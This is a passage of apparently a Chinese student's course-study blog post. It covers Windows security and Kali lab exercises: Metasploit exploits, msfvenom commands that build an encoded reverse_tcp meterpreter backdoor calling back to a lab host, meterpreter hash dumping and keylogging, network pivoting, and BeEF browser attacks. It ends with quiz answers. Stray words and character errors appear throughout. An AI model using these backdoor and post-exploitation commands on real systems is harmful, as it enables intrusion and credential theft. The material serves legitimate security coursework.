Windows操做系統的基本結構:
分爲運行於處理器特權模式的操做系統內核,以及運行在處理器非特權模式的用戶空間代碼。
Windows操做系統內核基本模塊:Windows執行體、Windows內核體、設備驅動程序、硬件抽象層、Windows窗口與圖形界面接口內核實現代碼。
Windows操做系統在用戶態的代碼模塊:系統支持進程、環境子系統服務進程、服務進程、用戶應用軟件、核心子系統DLL。
Windows操做系統內核中實現的核心機制:Windows進程和線程管理機制、Windows內存管理機制、Windows文件管理機制、Windows註冊表管理機制、Windows的網絡機制。php
Windows安全體系結構:
Windows操做系統基於引用監控器模型來實現基本的對象安全模型。其中最爲核心的是位於內核中的SRM安全引用監控器,以及位於用戶臺的LSASS安全服務。
Windows身份認證機制:
Windows操做系統中以安全主題概念來包含全部進行系統資源訪問請求的實體對象,有用戶,用戶組,和計算機三大類。其中用戶組是爲了簡化用戶管理而引入的用戶帳戶容器。html
Windows遠程攻擊技術:
遠程口令猜想與破解攻擊(最簡單方法),攻擊Windows網絡服務,攻擊Windows客戶端及用戶。java
Metasploit
徹底開源的滲透測試軟件。Metasploit軟件採用開發框架和模塊組件的可拓展模型。以Ruby語言編寫的MSF庫最爲整個軟件的基礎核心,爲滲透測試組件的開發與測試提供平臺。Metasploit提供多種用戶接口,包括console交互終端,命令行程序運行,web交互界面以及GUI圖形化界面。linux
使用Metasploit軟件攻擊Windows上的MS08-067
首先打開Metasploit軟件,並使用軟件中針對Windows上的MS08-067的攻擊庫
RHOST爲靶機的IP地址
LHOST爲攻擊機的IP地址
得到靶機的shellcode,並截取靶機當前的電腦屏幕
截取靶機屏幕結果圖
web
問題:Metasploit handler failed to bind
shell
解決方法:通過檢查,其實是攻擊機的IP地址改變了,查看攻擊機的IP地址後,修改LHOST,問題解決。windows
(1)searchsploit
瀏覽器
列舉出漏洞和文件地址,相對目錄是/usr/share/exploitdb/platforms安全
(2)pattern create
測試漏洞網絡
armitage
結合MSF進行利用
(3)jboss-autopwn-linux/win
專門針對Jboss的漏洞利用工具
(4)ikat
自動化開啓,等待目標訪問中招。
(6)termineter
評估智能電錶的安全性。
(1)
Metasploit-framework在usr/share/metasploit-framework目錄下
該目錄下的modules目錄
auxiliary 輔助模塊
encoders 供msfencode編碼工具使用
exploit 攻擊模塊
payloads 攻擊載荷
post 後滲透階段模塊
(2)
msfpayload:用來生成payload或者shellcode
搜索的時候可使用msfpayload -l |grep "windows"
-o 列出所需參數
msfencode:
msf中的編碼器
msfconsole:
開啓Metasploit的console,開啓命令行界面。
(3)測試實例
掃描目標主機開啓的服務
針對vsftpd搜索
發現有可利用的
選擇exploit參數
set RHOST 172.16.6.119
設置payload
set payload cmd/unix/interact
對目標進行攻擊測試,綠色標誌攻擊有效。
cat得到目標主機的一些文件
meterpreter模塊,Metasploit框架中的一個拓展模塊,做爲一出成功後的攻擊載荷使用。
經常使用的命令:
background 將當前會話放置後臺
load/use 加載模塊
interact 切換進一個信道
migrate 遷移進程
run 執行一個已有的模塊
resource 執行一個已有的rc腳本,能夠自定義
(1)生成meterpreter後門
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.6.119 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
在這以前,設置參數
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options set LPORT 2333
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
(2)開啓handler,打開監聽
set LHOST 172.16.6.91 #本地IP exploit
(3)在目標主機打開door1.exe
(4)返回一個shell
(5)執行常見命令
sysinfo 查看系統信息
hashdump 抓取哈希
screenshot 抓取屏幕
keyscan_start 鍵盤記錄
keyscan_dump
keyscan_stop
load 拓展工具
(1)查看跳板機的網卡
ifconfig
(2)添加路由表
run autoroute -s 10.0.0.1
(3)開socks代理
search socks use auxiliary/server/socks4a axploit
(4)經過background和sessions -i能夠自由切換進入session
(5)輸入run能夠看待在meterpreter上能夠作的不少命令
(6)經過run post/能夠看到後滲透測試的模塊
(7)查看內網信息
run arp_scanner -r 目標IP地址段
內網端口轉發
upload lcx.exe c:\\ 上傳到C盤根目錄
對XSS漏洞的利用,BeeF是瀏覽器攻擊框架的簡稱,專一於瀏覽器端的滲透工具。
使用3000端口
默認用戶名:beef
默認密碼:beef
http://127.0.0.1:3000/ui/authentication
http://127.0.0.1:3000/demos/basic.html
能夠在commands模塊發送攻擊命令
顏色不一樣表明攻擊模塊是否可用,隱蔽性強度。
(1)試驗:
JavaScript彈出窗口
效果圖
(2)proxy
藉助目標瀏覽器,訪問目標能夠訪問的內容
使用說明:
(3)beef和Metasploit結合
cd /usr/share/beef-xss
修改該目錄下config.yaml中,metasploit改成true
cd extensions/metasploit
修改該目錄下config.yaml中,host和callback_host,都設置爲主機IP地址,修改custom路徑爲/usr/share/metasploit-framework/
完成後,打開msfconsole
load msgrpc ServerHost=本身主機IP地址 Pass=abc123(默認密碼)
進入beef-xss根目錄
cd /usr/share/beef-xss
執行
./beef -x
加載完成後重啓服務
service beef-xss restart
完成後從新加載網頁,發現多了不少Metasploit模塊
問題:生成meterpreter後門出錯,找不到msfpayload和msfencode命令
解決方法:新版kali中沒有msfpayload和msfencod,使用msfvenom,msfvenom結合了payload 和encode的功能
部分參數:
-p,--payload <負載> 負載使用。指定' - '或標準輸入使用自定義負載
-l,--list [的module_type]列出一個模塊類型。選項包括:有效載荷,編碼器,空指令,全部
-n,--nopsled <長度> [長度]大小對有效載荷在前面加上nopsled
-f,--format <格式> 輸出格式(使用--help-格式列表)
-e,--encoder [編碼器]編碼器使用
-a,--arch <架構> 的架構使用
--platform <平臺> 有效載荷的平臺
-s,--space <長度> 所得有效負載的最大尺寸
-b,--bad-字符 <列表> 字符列表,以免例如:' X00 XFF「
-i,--iterations <計數> 的次數,以有效負載進行編碼
-c,--add代碼 <路徑> 指定一個額外的win32 shellcode的文件,包括
-x,--template <路徑> 指定一個自定義的可執行文件做爲模板使用
-k,--keep保存模板行爲和有效載荷爲一個新的線程注入
--payload-選項列表中的有效載荷的標準選項
-o,--out <路徑> 保存有效載荷
-v,--var名 <名> 指定用於某些輸出格式的自定義變量名稱
-h,--help顯示此消息
--help-格式列出可用的格式
須要注意的是:
一、-a
arch:x86 是指生成的payload只能在32位系統運行
arch:x86_64 是指模塊同時兼容32位操做系統和64位操做系統
arch:x64 是指生成的payload只能在64位系統運行
注意:有的payload的選項爲多個:arch:x86_64,x64
須要-a參數選擇一個系統架構。
二、-e
選擇一個encode框架
有多個encode框架:
Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
kali視頻中實際採用框架爲cmd/powershell_base64
執行命令對應修改成:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
成功
本週學習了針對Windows操做系統的攻擊和安全防範。
一、下面哪些Linux 命令能夠ASCII碼和16進制單字節方法輸出Hello.java的內容?
A .
od -b -tx1 Hello.java
B .
od -tcx1 Hello.java
C .
od -tc -tx1 Hello.java
D .
od -tbx1 Hello.java
正確答案爲BC
二、ARP欺騙破壞了信息的完整性。()
A .
True
B .
False
正確答案爲B
三、netfilter/iptables的規則表中,能夠進行源IP和端口轉換的是?
A .
filter表
B .
trans表
C .
nat表
D .
mangle表
正確答案: C
完成網絡攻防課程的學習,完成各類攻防實踐操做。
掌握常見的網絡安全
牚握Metasploit的使用
學習內容 | 學習時間 |
---|---|
課本7章學習 | 5小時 |
kali視頻21-25 | 5小時 |
實踐練習 | 4小時 |
整理寫博客 | 3小時 |